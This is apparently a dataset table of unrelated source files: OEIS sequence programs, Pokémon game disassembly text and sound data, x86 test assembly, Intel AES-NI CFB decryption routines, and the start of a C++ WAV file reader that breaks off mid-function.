text stringlengths 1 1.05M |
|---|
; A341259: Number of 0's in n-th word defined at A341258.
; Submitted by Christian Krause
; 1,0,2,1,1,3,0,2,2,2,4,1,1,3,1,3,3,3,5,0,2,2,2,4,2,2,4,2,4,4,4,6,1,1,3,1,3,3,3,5,1,3,3,3,5,3,3,5,3,5,5,5,7,0,2,2,2,4,2,2,4,2,4,4,4,6,2,2,4,2,4,4,4,6,2,4,4,4,6,4,4,6,4,6,6,6
add $0,2
seq $0,307096 ; Positive integers m such that for any positive integer k the last k bits of the binary expansion of m is not a multiple of 3.
mov $2,$0
lpb $0
div $2,2
sub $0,$2
lpe
sub $0,2
|
; A136610: Number of odd digits in Fibonacci numbers.
; 0,1,1,0,1,1,0,2,1,1,2,1,1,2,3,1,2,4,1,2,2,2,5,2,1,3,5,3,5,3,1,3,4,4,3,3,5,5,4,3,6,5,4,5,5,7,7,7,4,5,4,5,6,9,5,6,8,6,7,4,6,7,8,7,7,9,7,7,5,7,10,8,6,10,8,9,6,10,8,6,6
seq $0,45 ; Fibonacci numbers: F(n) = F(n-1) + F(n-2) with F(0) = 0 and F(1) = 1.
seq $0,196564 ; Number of odd digits in decimal representation of n.
|
GavenAskNumber1Text:
text "Wow, you're tough."
line "I haven't battled"
para "that seriously in"
line "a long time."
para "Could I get your"
line "phone number?"
para "I'd like to battle"
line "again when I heal"
para "@"
text_ram wStringBuffer4
text " and the"
line "rest of my team."
done
GavenAskNumber2Text:
text "Could I get your"
line "phone number?"
para "I'd like to battle"
line "again when I heal"
para "@"
text_ram wStringBuffer4
text " and the"
line "rest of my team."
done
GavenNumberAcceptedText:
text "How should I beat"
line "you? I'm tormented"
para "by those thoughts"
line "all the time…"
done
GavenNumberDeclinedText:
text "OK… I understand…"
line "But if you change"
para "your mind, give me"
line "a shout anytime."
done
GavenPhoneFullText:
text "Your phone's"
line "memory is full."
para "You can't register"
line "my number."
done
GavenRematchText:
text "Hi! I've been"
line "waiting for you!"
para "This time, I'm"
line "going to win!"
done
|
SFX_Heal_HP_2_Ch4:
duty 2
unknownsfx0x10 23
unknownsfx0x20 15, 240, 240, 4
unknownsfx0x20 15, 242, 80, 6
unknownsfx0x10 8
endchannel
|
#ifndef KOMUNA_PROPRAADRES_HPP
#define KOMUNA_PROPRAADRES_HPP
#include <memory>
template<class ...K> using PropraAdres = std::unique_ptr<K...>;
#endif //KOMUNA_PROPRAADRES_HPP
|
%ifdef CONFIG
{
"RegData": {
"RAX": "0x1",
"RSP": "0xe0000030"
}
}
%endif
mov esp, 0xe0000030
lea rbx, [rel .end]
mov rcx, 0x33
mov rdx, rsp
mov eax, 0x2b
push rax ; SS
push rdx ; RSP
mov eax, 0x202
push rax ; RFLAGS
push rcx ; CS
push rbx ; RIP
mov eax, -1
iretq
; Super fail
mov eax, 2
hlt
.end_fail:
mov eax, 0
hlt
.end:
mov eax, 1
hlt
|
;===============================================================================
; Copyright 2014-2018 Intel Corporation
; All Rights Reserved.
;
; If this software was obtained under the Intel Simplified Software License,
; the following terms apply:
;
; The source code, information and material ("Material") contained herein is
; owned by Intel Corporation or its suppliers or licensors, and title to such
; Material remains with Intel Corporation or its suppliers or licensors. The
; Material contains proprietary information of Intel or its suppliers and
; licensors. The Material is protected by worldwide copyright laws and treaty
; provisions. No part of the Material may be used, copied, reproduced,
; modified, published, uploaded, posted, transmitted, distributed or disclosed
; in any way without Intel's prior express written permission. No license under
; any patent, copyright or other intellectual property rights in the Material
; is granted to or conferred upon you, either expressly, by implication,
; inducement, estoppel or otherwise. Any license under such intellectual
; property rights must be express and approved by Intel in writing.
;
; Unless otherwise agreed by Intel in writing, you may not remove or alter this
; notice or any other notice embedded in Materials by Intel or Intel's
; suppliers or licensors in any way.
;
;
; If this software was obtained under the Apache License, Version 2.0 (the
; "License"), the following terms apply:
;
; You may not use this file except in compliance with the License. You may
; obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0
;
;
; Unless required by applicable law or agreed to in writing, software
; distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
; WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
;
; See the License for the specific language governing permissions and
; limitations under the License.
;===============================================================================
;
;
; Purpose: Cryptography Primitive.
; Rijndael Inverse Cipher function
;
; Content:
; Decrypt_RIJ128_AES_NI()
;
;
.686P
.XMM
.MODEL FLAT,C
include asmdefs.inc
INCLUDE ia_emm.inc
COPY_8U MACRO dst, src, limit, tmp
LOCAL next_byte
xor ecx, ecx
next_byte:
mov tmp, byte ptr[src+ecx]
mov byte ptr[dst+ecx], tmp
add ecx, 1
cmp ecx, limit
jl next_byte
ENDM
COPY_32U MACRO dst, src, limit, tmp
LOCAL next_dword
xor ecx, ecx
next_dword:
mov tmp, dword ptr[src+ecx]
mov dword ptr[dst+ecx], tmp
add ecx, 4
cmp ecx, limit
jl next_dword
ENDM
COPY_128U MACRO dst, src, limit, tmp
LOCAL next_oword
xor ecx, ecx
next_oword:
movdqu tmp, oword ptr[src+ecx]
movdqu oword ptr[dst+ecx], tmp
add ecx, 16
cmp ecx, limit
jl next_oword
ENDM
IPPCODE SEGMENT 'CODE' ALIGN (IPP_ALIGN_FACTOR)
;***************************************************************
;* Purpose: pipelined RIJ128 CFB decryption
;*
;* void DecryptCFB_RIJ128pipe_AES_NI(const Ipp32u* inpBlk,
;* Ipp32u* outBlk,
;* int nr,
;* const Ipp32u* pRKey,
;* int cfbBlks,
;* int cfbSize,
;* const Ipp8u* pIV)
;***************************************************************
;IF (_IPP GE _IPP_P8) AND (_IPP LT _IPP_G9)
IF (_IPP GE _IPP_P8)
;;
;; Lib = P8
;;
;; Caller = ippsRijndael128DecryptCFB
;;
ALIGN IPP_ALIGN_FACTOR
IPPASM DecryptCFB_RIJ128pipe_AES_NI PROC NEAR C PUBLIC \
USES esi edi ebx,\
pInpBlk:PTR DWORD,\ ; input block address
pOutBlk:PTR DWORD,\ ; output block address
nr:DWORD,\ ; number of rounds
pKey:PTR DWORD,\ ; key material address
cfbBlks:DWORD,\ ; length of stream in cfbSize
cfbSize:DWORD,\ ; cfb blk size
pIV:PTR DWORD ; IV
SC equ (4)
BLKS_PER_LOOP = (4)
sub esp,16*(1+4+4) ; allocate stask:
; +0*16 IV
; +1*16 inp0, inp1, inp2, inp3
; +5*16 out0, out1, out2, out3
mov eax, pIV ; IV address
movdqu xmm4, oword ptr[eax] ; get IV
movdqu oword ptr [esp+0*16], xmm4 ; into the stack
mov esi,pInpBlk ; input data address
mov edi,pOutBlk ; output data address
mov edx,cfbSize ; size of block
sub cfbBlks, BLKS_PER_LOOP
jl short_input
;;
;; pipelined processing
;;
blks_loop:
lea eax, [edx*BLKS_PER_LOOP]
COPY_32U <esp+16>, esi, eax, ebx ; move 4 input blocks to stack
mov ecx, pKey
movdqa xmm4, oword ptr[ecx] ; keys for whitening
lea ebx, [edx+edx*2]
movdqu xmm0, oword ptr [esp] ; get encoded blocks
movdqu xmm1, oword ptr [esp+edx]
movdqu xmm2, oword ptr [esp+edx*2]
movdqu xmm3, oword ptr [esp+ebx]
lea ebx, [ecx+16] ; pointer to the round's key material
pxor xmm0, xmm4 ; whitening
pxor xmm1, xmm4
pxor xmm2, xmm4
pxor xmm3, xmm4
movdqa xmm4, oword ptr[ebx] ; pre load operation's keys
add ebx, 16
mov eax, nr ; counter depending on key length
sub eax, 1
cipher_loop:
aesenc xmm0, xmm4 ; regular round
aesenc xmm1, xmm4
aesenc xmm2, xmm4
aesenc xmm3, xmm4
movdqa xmm4, oword ptr [ebx] ; pre load operation's keys
add ebx, 16
dec eax
jnz cipher_loop
aesenclast xmm0, xmm4 ; irregular round and IV
aesenclast xmm1, xmm4
aesenclast xmm2, xmm4
aesenclast xmm3, xmm4
lea ebx, [edx+edx*2] ; get src blocks from the stack
movdqu xmm4, oword ptr[esp+16]
movdqu xmm5, oword ptr[esp+16+edx]
movdqu xmm6, oword ptr[esp+16+edx*2]
movdqu xmm7, oword ptr[esp+16+ebx]
pxor xmm0, xmm4 ; xor src
movdqu oword ptr[esp+5*16],xmm0;and store into the stack
pxor xmm1, xmm5
movdqu oword ptr[esp+5*16+edx], xmm1
pxor xmm2, xmm6
movdqu oword ptr[esp+5*16+edx*2], xmm2
pxor xmm3, xmm7
movdqu oword ptr[esp+5*16+ebx], xmm3
lea eax, [edx*BLKS_PER_LOOP]
COPY_32U edi, <esp+5*16>, eax, ebx ; move 4 blocks to output
movdqu xmm0, oword ptr[esp+eax] ; update IV
movdqu oword ptr[esp], xmm0
add esi, eax
add edi, eax
sub cfbBlks, BLKS_PER_LOOP
jge blks_loop
;;
;; block-by-block processing
;;
short_input:
add cfbBlks, BLKS_PER_LOOP
jz quit
lea ebx, [edx*2]
lea ecx, [edx+edx*2]
cmp cfbBlks, 2
cmovl ebx, edx
cmovg ebx, ecx
COPY_8U <esp+16>, esi, ebx, al ; move recent input blocks to stack
; get actual address of key material: pRKeys += (nr-9) * SC
mov ecx, pKey
mov eax, nr
lea esi,[eax*4]
lea esi, [ecx+esi*4-9*(SC)*4] ; AES-128 round keys
xor eax, eax ; index
single_blk_loop:
movdqu xmm0, oword ptr[esp+eax] ; get encoded block
pxor xmm0, oword ptr [ecx] ; whitening
cmp nr, 12 ; switch according to number of rounds
jl key_128_s
jz key_192_s
key_256_s:
aesenc xmm0, oword ptr[esi-4*4*SC]
aesenc xmm0, oword ptr[esi-3*4*SC]
key_192_s:
aesenc xmm0, oword ptr[esi-2*4*SC]
aesenc xmm0, oword ptr[esi-1*4*SC]
key_128_s:
aesenc xmm0, oword ptr[esi+0*4*SC]
aesenc xmm0, oword ptr[esi+1*4*SC]
aesenc xmm0, oword ptr[esi+2*4*SC]
aesenc xmm0, oword ptr[esi+3*4*SC]
aesenc xmm0, oword ptr[esi+4*4*SC]
aesenc xmm0, oword ptr[esi+5*4*SC]
aesenc xmm0, oword ptr[esi+6*4*SC]
aesenc xmm0, oword ptr[esi+7*4*SC]
aesenc xmm0, oword ptr[esi+8*4*SC]
aesenclast xmm0, oword ptr[esi+9*4*SC]
movdqu xmm1, oword ptr[esp+eax+16] ; get input block from the stack
pxor xmm0, xmm1 ; xor src
movdqu oword ptr[esp+5*16+eax], xmm0 ; and save output
add eax, edx
dec cfbBlks
jnz single_blk_loop
COPY_8U edi, <esp+5*16>, ebx, al ; copy rest output from the stack
quit:
add esp, 16*(1+4+4) ; free stack
ret
IPPASM DecryptCFB_RIJ128pipe_AES_NI ENDP
ALIGN IPP_ALIGN_FACTOR
IPPASM DecryptCFB32_RIJ128pipe_AES_NI PROC NEAR C PUBLIC \
USES esi edi ebx,\
pInpBlk:PTR DWORD,\ ; input block address
pOutBlk:PTR DWORD,\ ; output block address
nr:DWORD,\ ; number of rounds
pKey:PTR DWORD,\ ; key material address
cfbBlks:DWORD,\ ; length of stream in cfbSize
cfbSize:DWORD,\ ; cfb blk size (4 bytes multible)
pIV:PTR DWORD ; IV
SC equ (4)
BLKS_PER_LOOP = (4)
sub esp,16*(1+4+4) ; allocate stask:
; +0*16 IV
; +1*16 inp0, inp1, inp2, inp3
; +5*16 out0, out1, out2, out3
mov eax, pIV ; IV address
movdqu xmm4, oword ptr[eax] ; get IV
movdqu oword ptr [esp+0*16], xmm4 ; into the stack
mov esi,pInpBlk ; input data address
mov edi,pOutBlk ; output data address
mov edx,cfbSize ; size of block
sub cfbBlks, BLKS_PER_LOOP
jl short_input
;;
;; pipelined processing
;;
blks_loop:
lea eax, [edx*BLKS_PER_LOOP]
COPY_128U <esp+16>, esi, eax, xmm0 ; move 4 input blocks to stack
mov ecx, pKey
movdqa xmm4, oword ptr[ecx] ; keys for whitening
lea ebx, [edx+edx*2]
movdqu xmm0, oword ptr [esp] ; get encoded blocks
movdqu xmm1, oword ptr [esp+edx]
movdqu xmm2, oword ptr [esp+edx*2]
movdqu xmm3, oword ptr [esp+ebx]
lea ebx, [ecx+16] ; pointer to the round's key material
pxor xmm0, xmm4 ; whitening
pxor xmm1, xmm4
pxor xmm2, xmm4
pxor xmm3, xmm4
movdqa xmm4, oword ptr[ebx] ; pre load operation's keys
add ebx, 16
mov eax, nr ; counter depending on key length
sub eax, 1
cipher_loop:
aesenc xmm0, xmm4 ; regular round
aesenc xmm1, xmm4
aesenc xmm2, xmm4
aesenc xmm3, xmm4
movdqa xmm4, oword ptr [ebx] ; pre load operation's keys
add ebx, 16
dec eax
jnz cipher_loop
aesenclast xmm0, xmm4 ; irregular round and IV
aesenclast xmm1, xmm4
aesenclast xmm2, xmm4
aesenclast xmm3, xmm4
lea ebx, [edx+edx*2] ; get src blocks from the stack
movdqu xmm4, oword ptr[esp+16]
movdqu xmm5, oword ptr[esp+16+edx]
movdqu xmm6, oword ptr[esp+16+edx*2]
movdqu xmm7, oword ptr[esp+16+ebx]
pxor xmm0, xmm4 ; xor src
movdqu oword ptr[esp+5*16],xmm0;and store into the stack
pxor xmm1, xmm5
movdqu oword ptr[esp+5*16+edx], xmm1
pxor xmm2, xmm6
movdqu oword ptr[esp+5*16+edx*2], xmm2
pxor xmm3, xmm7
movdqu oword ptr[esp+5*16+ebx], xmm3
lea eax, [edx*BLKS_PER_LOOP]
COPY_128U edi, <esp+5*16>, eax, xmm0 ; move 4 blocks to output
movdqu xmm0, oword ptr[esp+eax] ; update IV
movdqu oword ptr[esp], xmm0
add esi, eax
add edi, eax
sub cfbBlks, BLKS_PER_LOOP
jge blks_loop
;;
;; block-by-block processing
;;
short_input:
add cfbBlks, BLKS_PER_LOOP
jz quit
lea ebx, [edx*2]
lea ecx, [edx+edx*2]
cmp cfbBlks, 2
cmovl ebx, edx
cmovg ebx, ecx
COPY_32U <esp+16>, esi, ebx, eax ; move recent input blocks to stack
; get actual address of key material: pRKeys += (nr-9) * SC
mov ecx, pKey
mov eax, nr
lea esi,[eax*4]
lea esi, [ecx+esi*4-9*(SC)*4] ; AES-128 round keys
xor eax, eax ; index
single_blk_loop:
movdqu xmm0, oword ptr[esp+eax] ; get encoded block
pxor xmm0, oword ptr [ecx] ; whitening
cmp nr, 12 ; switch according to number of rounds
jl key_128_s
jz key_192_s
key_256_s:
aesenc xmm0, oword ptr[esi-4*4*SC]
aesenc xmm0, oword ptr[esi-3*4*SC]
key_192_s:
aesenc xmm0, oword ptr[esi-2*4*SC]
aesenc xmm0, oword ptr[esi-1*4*SC]
key_128_s:
aesenc xmm0, oword ptr[esi+0*4*SC]
aesenc xmm0, oword ptr[esi+1*4*SC]
aesenc xmm0, oword ptr[esi+2*4*SC]
aesenc xmm0, oword ptr[esi+3*4*SC]
aesenc xmm0, oword ptr[esi+4*4*SC]
aesenc xmm0, oword ptr[esi+5*4*SC]
aesenc xmm0, oword ptr[esi+6*4*SC]
aesenc xmm0, oword ptr[esi+7*4*SC]
aesenc xmm0, oword ptr[esi+8*4*SC]
aesenclast xmm0, oword ptr[esi+9*4*SC]
movdqu xmm1, oword ptr[esp+eax+16] ; get input block from the stack
pxor xmm0, xmm1 ; xor src
movdqu oword ptr[esp+5*16+eax], xmm0 ; and save output
add eax, edx
dec cfbBlks
jnz single_blk_loop
COPY_32U edi, <esp+5*16>, ebx, eax ; copy rest output from the stack
quit:
add esp, 16*(1+4+4) ; free stack
ret
IPPASM DecryptCFB32_RIJ128pipe_AES_NI ENDP
;;
;; Lib = G9
;;
;; Caller = ippsRijndael128DecryptCFB
;;
ALIGN IPP_ALIGN_FACTOR
IPPASM DecryptCFB128_RIJ128pipe_AES_NI PROC NEAR C PUBLIC \
USES esi edi ebx,\
pInpBlk:PTR DWORD,\ ; input block address
pOutBlk:PTR DWORD,\ ; output block address
nr:DWORD,\ ; number of rounds
pKey:PTR DWORD,\ ; key material address
len:DWORD,\ ; length of stream in bytes
pIV:PTR DWORD ; IV
SC equ (4)
BLKS_PER_LOOP = (4)
BYTES_PER_BLK = (16)
BYTES_PER_LOOP = (BYTES_PER_BLK*BLKS_PER_LOOP)
mov esi,pInpBlk ; input data address
mov edi,pOutBlk ; output data address
mov ecx,pKey ; keys
mov edx, len
mov eax, pIV
movdqu xmm0, oword ptr[eax] ; get IV
sub edx, BYTES_PER_LOOP ; test length of the stream
jl short_input
;;
;; pipelined processing
;;
blks_loop:
movdqa xmm7, oword ptr[ecx] ; keys for whitening
lea ebx, [ecx+16] ; pointer to the round's key material
movdqu xmm1, oword ptr [esi+0*BYTES_PER_BLK] ; get another encoded cblocks
movdqu xmm2, oword ptr [esi+1*BYTES_PER_BLK]
movdqu xmm3, oword ptr [esi+2*BYTES_PER_BLK]
pxor xmm0, xmm7 ; whitening
pxor xmm1, xmm7
pxor xmm2, xmm7
pxor xmm3, xmm7
movdqa xmm7, oword ptr[ebx] ; pre load operation's keys
add ebx, 16
mov eax, nr ; counter depending on key length
sub eax, 1
cipher_loop:
aesenc xmm0, xmm7 ; regular round
aesenc xmm1, xmm7
aesenc xmm2, xmm7
aesenc xmm3, xmm7
movdqa xmm7, oword ptr [ebx] ; pre load operation's keys
add ebx, 16
dec eax
jnz cipher_loop
aesenclast xmm0, xmm7 ; irregular round and IV for 4 input blocks
movdqu xmm4, oword ptr[esi+0*BYTES_PER_BLK]
aesenclast xmm1, xmm7
movdqu xmm5, oword ptr[esi+1*BYTES_PER_BLK]
aesenclast xmm2, xmm7
movdqu xmm6, oword ptr[esi+2*BYTES_PER_BLK]
aesenclast xmm3, xmm7
movdqu xmm7, oword ptr[esi+3*BYTES_PER_BLK]
add esi, BYTES_PER_LOOP
pxor xmm0, xmm4 ; 4 output blocks
movdqu oword ptr[edi+0*BYTES_PER_BLK], xmm0
pxor xmm1, xmm5
movdqu oword ptr[edi+1*BYTES_PER_BLK], xmm1
pxor xmm2, xmm6
movdqu oword ptr[edi+2*BYTES_PER_BLK], xmm2
pxor xmm3, xmm7
movdqu oword ptr[edi+3*BYTES_PER_BLK], xmm3
add edi, BYTES_PER_LOOP
movdqa xmm0, xmm7 ; update IV
sub edx, BYTES_PER_LOOP
jge blks_loop
;;
;; block-by-block processing
;;
short_input:
add edx, BYTES_PER_LOOP
jz quit
; get actual address of key material: pRKeys += (nr-9) * SC
mov eax, nr
lea ebx,[eax*4]
lea ebx, [ecx+ebx*4-9*(SC)*4] ; AES-128 round keys
single_blk_loop:
pxor xmm0, oword ptr [ecx] ; whitening
cmp eax,12 ; switch according to number of rounds
jl key_128_s
jz key_192_s
key_256_s:
aesenc xmm0, oword ptr[ebx-4*4*SC]
aesenc xmm0, oword ptr[ebx-3*4*SC]
key_192_s:
aesenc xmm0, oword ptr[ebx-2*4*SC]
aesenc xmm0, oword ptr[ebx-1*4*SC]
key_128_s:
aesenc xmm0, oword ptr[ebx+0*4*SC]
aesenc xmm0, oword ptr[ebx+1*4*SC]
aesenc xmm0, oword ptr[ebx+2*4*SC]
aesenc xmm0, oword ptr[ebx+3*4*SC]
aesenc xmm0, oword ptr[ebx+4*4*SC]
aesenc xmm0, oword ptr[ebx+5*4*SC]
aesenc xmm0, oword ptr[ebx+6*4*SC]
aesenc xmm0, oword ptr[ebx+7*4*SC]
aesenc xmm0, oword ptr[ebx+8*4*SC]
aesenclast xmm0, oword ptr[ebx+9*4*SC]
movdqu xmm1, oword ptr[esi] ; input block from the stream
add esi, BYTES_PER_BLK
pxor xmm0, xmm1 ; xor src
movdqu oword ptr[edi], xmm0 ; and save output
add edi, BYTES_PER_BLK
movdqa xmm0, xmm1 ; update IV
sub edx, BYTES_PER_BLK
jnz single_blk_loop
quit:
ret
IPPASM DecryptCFB128_RIJ128pipe_AES_NI ENDP
ENDIF
END
|
SFX_Psychic_M_Ch1:
duty 2
unknownsfx0x10 247
unknownsfx0x20 8, 196, 189, 7
unknownsfx0x20 8, 196, 190, 7
unknownsfx0x20 8, 196, 191, 7
unknownsfx0x20 8, 196, 192, 7
unknownsfx0x20 15, 196, 193, 7
unknownsfx0x20 15, 242, 192, 7
unknownsfx0x10 8
endchannel
SFX_Psychic_M_Ch2:
duty 2
unknownsfx0x20 8, 196, 112, 7
unknownsfx0x20 8, 196, 97, 7
unknownsfx0x20 8, 196, 98, 7
unknownsfx0x20 8, 196, 99, 7
unknownsfx0x20 15, 196, 100, 7
unknownsfx0x20 15, 242, 100, 7
endchannel
SFX_Psychic_M_Ch3:
unknownnoise0x20 15, 63, 20
unknownnoise0x20 15, 207, 19
unknownnoise0x20 15, 207, 18
unknownnoise0x20 15, 207, 17
unknownnoise0x20 15, 207, 16
unknownnoise0x20 15, 194, 16
endchannel
|
bits 64
vpopcntb xmm2, xmm0
vpopcntb xmm2, [rbx]
vpopcntb xmm2, [rbx+r11*8+256]
vpopcntb xmm2, [rbx+r11*8-256]
vpopcntb xmm2{k5}, xmm0
vpopcntb xmm2{k5}, [rbx]
vpopcntb xmm2{k5}, [rbx+r11*8+256]
vpopcntb xmm2{k5}, [rbx+r11*8-256]
vpopcntb xmm2{z}, xmm0
vpopcntb xmm2{z}, [rbx]
vpopcntb xmm2{z}, [rbx+r11*8+256]
vpopcntb xmm2{z}, [rbx+r11*8-256]
vpopcntb xmm2{k5}{z}, xmm0
vpopcntb xmm2{k5}{z}, [rbx]
vpopcntb xmm2{k5}{z}, [rbx+r11*8+256]
vpopcntb xmm2{k5}{z}, [rbx+r11*8-256]
vpopcntb ymm16, ymm15
vpopcntb ymm16, [rbx]
vpopcntb ymm16, [rbx+r11*8+256]
vpopcntb ymm16, [rbx+r11*8-256]
vpopcntb ymm16{k5}, ymm15
vpopcntb ymm16{k5}, [rbx]
vpopcntb ymm16{k5}, [rbx+r11*8+256]
vpopcntb ymm16{k5}, [rbx+r11*8-256]
vpopcntb ymm16{z}, ymm15
vpopcntb ymm16{z}, [rbx]
vpopcntb ymm16{z}, [rbx+r11*8+256]
vpopcntb ymm16{z}, [rbx+r11*8-256]
vpopcntb ymm16{k5}{z}, ymm15
vpopcntb ymm16{k5}{z}, [rbx]
vpopcntb ymm16{k5}{z}, [rbx+r11*8+256]
vpopcntb ymm16{k5}{z}, [rbx+r11*8-256]
vpopcntb zmm24, zmm31
vpopcntb zmm24, [rbx]
vpopcntb zmm24, [rbx+r11*8+256]
vpopcntb zmm24, [rbx+r11*8-256]
vpopcntb zmm24{k5}, zmm31
vpopcntb zmm24{k5}, [rbx]
vpopcntb zmm24{k5}, [rbx+r11*8+256]
vpopcntb zmm24{k5}, [rbx+r11*8-256]
vpopcntb zmm24{z}, zmm31
vpopcntb zmm24{z}, [rbx]
vpopcntb zmm24{z}, [rbx+r11*8+256]
vpopcntb zmm24{z}, [rbx+r11*8-256]
vpopcntb zmm24{k5}{z}, zmm31
vpopcntb zmm24{k5}{z}, [rbx]
vpopcntb zmm24{k5}{z}, [rbx+r11*8+256]
vpopcntb zmm24{k5}{z}, [rbx+r11*8-256]
vpopcntw xmm2, xmm0
vpopcntw xmm2, [rbx]
vpopcntw xmm2, [rbx+r11*8+256]
vpopcntw xmm2, [rbx+r11*8-256]
vpopcntw xmm2{k5}, xmm0
vpopcntw xmm2{k5}, [rbx]
vpopcntw xmm2{k5}, [rbx+r11*8+256]
vpopcntw xmm2{k5}, [rbx+r11*8-256]
vpopcntw xmm2{z}, xmm0
vpopcntw xmm2{z}, [rbx]
vpopcntw xmm2{z}, [rbx+r11*8+256]
vpopcntw xmm2{z}, [rbx+r11*8-256]
vpopcntw xmm2{k5}{z}, xmm0
vpopcntw xmm2{k5}{z}, [rbx]
vpopcntw xmm2{k5}{z}, [rbx+r11*8+256]
vpopcntw xmm2{k5}{z}, [rbx+r11*8-256]
vpopcntw ymm16, ymm15
vpopcntw ymm16, [rbx]
vpopcntw ymm16, [rbx+r11*8+256]
vpopcntw ymm16, [rbx+r11*8-256]
vpopcntw ymm16{k5}, ymm15
vpopcntw ymm16{k5}, [rbx]
vpopcntw ymm16{k5}, [rbx+r11*8+256]
vpopcntw ymm16{k5}, [rbx+r11*8-256]
vpopcntw ymm16{z}, ymm15
vpopcntw ymm16{z}, [rbx]
vpopcntw ymm16{z}, [rbx+r11*8+256]
vpopcntw ymm16{z}, [rbx+r11*8-256]
vpopcntw ymm16{k5}{z}, ymm15
vpopcntw ymm16{k5}{z}, [rbx]
vpopcntw ymm16{k5}{z}, [rbx+r11*8+256]
vpopcntw ymm16{k5}{z}, [rbx+r11*8-256]
vpopcntw zmm24, zmm31
vpopcntw zmm24, [rbx]
vpopcntw zmm24, [rbx+r11*8+256]
vpopcntw zmm24, [rbx+r11*8-256]
vpopcntw zmm24{k5}, zmm31
vpopcntw zmm24{k5}, [rbx]
vpopcntw zmm24{k5}, [rbx+r11*8+256]
vpopcntw zmm24{k5}, [rbx+r11*8-256]
vpopcntw zmm24{z}, zmm31
vpopcntw zmm24{z}, [rbx]
vpopcntw zmm24{z}, [rbx+r11*8+256]
vpopcntw zmm24{z}, [rbx+r11*8-256]
vpopcntw zmm24{k5}{z}, zmm31
vpopcntw zmm24{k5}{z}, [rbx]
vpopcntw zmm24{k5}{z}, [rbx+r11*8+256]
vpopcntw zmm24{k5}{z}, [rbx+r11*8-256]
vpshufbitqmb k3, xmm7, xmm0
vpshufbitqmb k3, xmm7, [rbx]
vpshufbitqmb k3, xmm7, [rbx+r11*8+256]
vpshufbitqmb k3, xmm7, [rbx+r11*8-256]
vpshufbitqmb k3, ymm13, ymm15
vpshufbitqmb k3, ymm13, [rbx]
vpshufbitqmb k3, ymm13, [rbx+r11*8+256]
vpshufbitqmb k3, ymm13, [rbx+r11*8-256]
vpshufbitqmb k3, zmm24, zmm31
vpshufbitqmb k3, zmm24, [rbx]
vpshufbitqmb k3, zmm24, [rbx+r11*8+256]
vpshufbitqmb k3, zmm24, [rbx+r11*8-256]
vpshufbitqmb k3{k5}, xmm7, xmm0
vpshufbitqmb k3{k5}, xmm7, [rbx]
vpshufbitqmb k3{k5}, xmm7, [rbx+r11*8+256]
vpshufbitqmb k3{k5}, xmm7, [rbx+r11*8-256]
vpshufbitqmb k3{k5}, ymm13, ymm15
vpshufbitqmb k3{k5}, ymm13, [rbx]
vpshufbitqmb k3{k5}, ymm13, [rbx+r11*8+256]
vpshufbitqmb k3{k5}, ymm13, [rbx+r11*8-256]
vpshufbitqmb k3{k5}, zmm24, zmm31
vpshufbitqmb k3{k5}, zmm24, [rbx]
vpshufbitqmb k3{k5}, zmm24, [rbx+r11*8+256]
vpshufbitqmb k3{k5}, zmm24, [rbx+r11*8-256]
|
; A142479: Primes congruent to 5 mod 51.
; Submitted by Jon Maiga
; 5,107,311,617,719,821,1229,1433,1637,2351,2657,2861,2963,3167,3371,3677,3779,3881,4289,4391,4493,4799,5003,5309,5717,6329,6737,7043,7247,7349,7451,7757,8369,8573,9491,10103,10613,11633,11939,12041,12143,12347,12653,12959,13163,13367,13469,13877,14081,14387,14489,14591,14897,15101,16223,16427,16529,16631,16937,17957,18059,18671,18773,19079,19181,19793,19997,20201,20507,21017,21221,21323,22037,22343,22751,22853,23057,23159,23567,23669,23873,24077,24179,24281,25097,25301,25913,26321,26423,26627
mov $1,2
mov $2,$0
add $2,2
pow $2,2
lpb $2
sub $2,2
mov $3,$1
mul $3,2
seq $3,10051 ; Characteristic function of primes: 1 if n is prime, else 0.
sub $0,$3
add $1,51
mov $4,$0
max $4,0
cmp $4,$0
mul $2,$4
lpe
mov $0,$1
mul $0,2
sub $0,101
|
; A022088: Fibonacci sequence beginning 0, 5.
; 0,5,5,10,15,25,40,65,105,170,275,445,720,1165,1885,3050,4935,7985,12920,20905,33825,54730,88555,143285,231840,375125,606965,982090,1589055,2571145,4160200,6731345,10891545,17622890,28514435,46137325,74651760,120789085
mov $3,1
lpb $0
sub $0,1
mov $2,$1
mov $1,$3
add $3,$2
lpe
mul $1,5
|
#include "wav_reader.hpp"
#include <iostream>
#include <string>
#include <cstdint>
#include <cstring>
#include <thread>
#include <windows.h>
WAVReader::WAVReader() = default;
WAVReader::WAVReader(const WAVReader &reader) {}
WAVReader::~WAVReader() = default;
void WAVReader::load_file(std::string *file_path) {
if (!file_path->empty()) {
this->audio_file_path = *file_path;
std::shared_ptr<std::ifstream> file = std::make_shared<std::ifstream>(this->audio_file_path,
std::ios::in | std::ios::binary);
if (file != nullptr && file->is_open()) {
std::cout << "\n[Loaded \"" << *file_path << "\"]" << std::flush;
check_riff_header(file);
load_fmt_subchunk(file);
load_data_subchunk(file);
std::thread data_loader(&WAVReader::load_data, this, file);
data_loader.detach();
} else {
std::cerr << "ERROR: The provided file path doesn't point to an existing file" << std::endl;
}
} else {
std::cerr << "ERROR: A file path must be provided" << std::endl;
}
};
void WAVReader::check_riff_header(std::shared_ptr<std::ifstream> file) {
char file_chunk_id[5];
uint32_t file_chunk_size;
char file_format[5];
std::cout << "\nChecking the file header..." << std::endl;
// Checks the chunk ID
file->read(file_chunk_id, sizeof(file_chunk_id) - 1);
file_chunk_id[sizeof(file_chunk_id) - 1] = '\0';
if (strncmp(file_chunk_id, "RIFF", sizeof(file_chunk_id) - 1) == 0) {
std::cout << "Chunk ID: Ok." << std::endl;
strcpy(this->chunk_id, file_chunk_id);
} else {
std::cerr << "ERROR: Invalid chunk ID." << std::endl;
exit(EXIT_FAILURE);
}
// Gets the chunk size (in bytes)
file->read((char *) &file_chunk_size, sizeof(file_chunk_size));
if (file_chunk_size >= 36) {
std::cout << "Chunk size: Ok (" << file_chunk_size << " bytes)." << std::endl;
this->chunk_size = file_chunk_size;
} else {
std::cerr << "ERROR: Bad chunk size." << std::endl;
exit(EXIT_FAILURE);
}
// Checks the format descriptor
file->read(file_format, sizeof(file_format) - 1);
file_chunk_id[sizeof(file_chunk_id) - 1] = '\0';
if (strncmp(file_format, "WAVE", sizeof(file_format) - 1) == 0) {
std::cout << "Format descriptor: Ok." << std::endl;
strcpy(this->format_descriptor, file_format);
} else {
std::cerr << "ERROR: Invalid format descriptor." << std::endl;
